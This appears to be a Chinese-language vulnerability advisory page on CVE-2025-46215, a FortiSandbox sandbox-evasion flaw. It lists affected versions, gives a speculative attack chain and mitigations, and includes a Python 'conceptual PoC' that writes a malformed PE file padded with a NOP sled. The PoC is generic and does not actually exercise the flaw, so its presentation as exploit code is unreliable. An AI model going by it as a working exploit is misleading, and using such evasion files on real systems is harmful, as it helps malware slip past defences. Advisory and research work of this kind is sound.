IPBUF安全漏洞报告
English
CVE-2025-46215 CVSS 5.3 中危

CVE-2025-46215 FortiSandbox 沙箱逃逸漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-46215
漏洞类型
沙箱逃逸
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FortiSandbox

相关标签

CVE-2025-46215沙箱逃逸隔离不当CWE-653FortiSandboxFortinet文件安全恶意文件检测绕过中危漏洞无需认证

漏洞概述

CVE-2025-46215是Fortinet FortiSandbox产品中的一个沙箱隔离不当漏洞。该漏洞被归类为CWE-653(Improper Isolation or Compartmentalization),存在于FortiSandbox 5.0.0至5.0.1版本、4.4.0至4.4.7版本、4.2所有版本以及4.0所有版本中。漏洞允许未经认证的远程攻击者通过上传精心设计的恶意文件来逃避沙箱安全扫描检测。当攻击者构造特定格式或包含特殊Payload的文件时,FortiSandbox的沙箱分析引擎无法正确识别和隔离恶意行为,从而导致恶意代码或文件绕过安全检测。这使得攻击者可以将恶意软件或攻击工具隐藏在看似正常的文件中,绕过安全防护系统对企业网络或终端进行攻击。由于CVSS评分为5.3,属于中等严重程度,但考虑到其无需认证即可利用且影响沙箱核心检测功能,仍需及时修复。

技术细节

该漏洞属于CWE-653类别,即隔离或分区不当(Improper Isolation or Compartmentalization)。在FortiSandbox沙箱分析系统中,不同文件类型和执行环境应该被严格隔离,以确保恶意代码无法影响沙箱本身的检测逻辑。漏洞原理在于:FortiSandbox在处理特定格式的输入文件时,未能正确实施安全隔离措施。攻击者可以通过构造包含特殊构造的PE文件、脚本文件或其他可执行文件格式,利用文件解析或执行过程中的边界条件或逻辑缺陷,使沙箱分析引擎在处理该文件时进入异常状态或跳过某些关键的安全检测步骤。具体利用方式可能涉及:1)文件格式混淆,使沙箱无法正确识别文件类型;2)利用解析器的解析差异,在沙箱检测环境和实际执行环境产生不同行为;3)通过特定Payload触发沙箱的检测绕过逻辑。由于无需认证即可远程利用,攻击者可以直接向目标系统提交恶意文件进行测试和攻击。

攻击链分析

STEP 1
1
信息收集阶段:攻击者收集FortiSandbox版本信息,确定目标版本在受影响范围内(5.0.0-5.0.1, 4.4.0-4.4.7, 4.2, 4.0)
STEP 2
2
构造恶意文件:攻击者根据漏洞特性,构造能够逃避沙箱检测的特殊格式文件,可能包括畸形PE文件、混淆脚本或利用解析差异的文件
STEP 3
3
文件上传:攻击者通过FortiSandbox的文件提交接口(如邮件网关集成、Web上传界面或API)提交恶意文件
STEP 4
4
沙箱检测触发:FortiSandbox对文件进行自动化分析,但由于漏洞存在,恶意内容未能被正确检测或隔离
STEP 5
5
绕过验证:恶意文件成功绕过沙箱检测,被标记为安全文件,允许通过企业安全防护
STEP 6
6
最终攻击:恶意文件到达目标终端或用户,执行恶意代码完成攻击目的(如植入后门、窃取数据等)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-46215 FortiSandbox Evasion PoC (Conceptual) # Note: This is a conceptual PoC for educational purposes only # Actual exploit requires specific file format knowledge import struct import os def create_malformed_file(): """ Create a crafted file that may evade FortiSandbox detection. The actual file format depends on specific vulnerability details. """ # Example: Create a PE file with specific characteristics # that might bypass sandbox analysis # MZ header pe_header = b'MZ' pe_header += b'\x00' * 58 pe_header += struct.pack('<I', 0x80) # PE offset # PE signature pe_sig = b'PE\x00\x00' # COFF header coff_header = struct.pack('<HHIIIHH', 0x014c, # Machine (x86) 0x0001, # NumberOfSections 0, # TimeDateStamp 0, # PointerToSymbolTable 0, # NumberOfSymbols 0xe0, # SizeOfOptionalHeader 0x0102 # Characteristics ) # Optional header optional_header = struct.pack('<HHBBIIIIIHHHHHH', 0x010b, # Magic (PE32) 14, # MajorLinkerVersion 0, # MinorLinkerVersion 0x200, # SizeOfCode 0x200, # SizeOfInitializedData 0, # SizeOfUninitializedData 0x1000, # AddressOfEntryPoint 0x1000, # BaseOfCode 0x3000, # BaseOfData 0x400000,# ImageBase 0x1000, # SectionAlignment 0x200, # FileAlignment 6, # MajorOperatingSystemVersion 0, # MinorOperatingSystemVersion 0, # MajorImageVersion 0 # MinorImageVersion ) # Section header section_name = b'.text\x00\x00\x00' section_header = section_name section_header += struct.pack('<IIIIIIIIHHII', 0x1000, # VirtualSize 0x1000, # VirtualAddress 0x200, # SizeOfRawData 0x200, # PointerToRawData 0, # PointerToRelocations 0, # PointerToLinenumbers 0, # NumberOfRelocations 0, # NumberOfLinenumbers 0x60000020 # Characteristics ) # Section data with shellcode shellcode = b'\x90' * 100 # NOP sled shellcode += b'\xcc' * 50 # Breakpoints (for evasion) shellcode += b'\x00' * (0x200 - len(shellcode)) # Combine all parts pe_file = pe_header + pe_sig + coff_header + optional_header + section_header + shellcode return pe_file def main(): output_file = 'CVE-2025-46215_sample.exe' malicious_content = create_malformed_file() with open(output_file, 'wb') as f: f.write(malicious_content) print(f'[+] Created PoC file: {output_file}') print('[+] File size:', len(malicious_content), 'bytes') print('[!] Note: This is a conceptual PoC. Actual exploit requires') print(' detailed analysis of the specific evasion technique.') if __name__ == '__main__': main()

影响范围

FortiSandbox 5.0.0 - 5.0.1
FortiSandbox 4.4.0 - 4.4.7
FortiSandbox 4.2 所有版本
FortiSandbox 4.0 所有版本

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制FortiSandbox的文件提交接口访问权限,仅允许受信任的源提交文件;2)增加额外的文件安全检测层,如使用多引擎扫描;3)监控沙箱分析日志,关注异常的文件分析结果;4)对关键用户群体进行安全意识培训,警惕来源不明的文件;5)考虑暂时禁用非必要的文件自动提交功能,采用手动审核机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表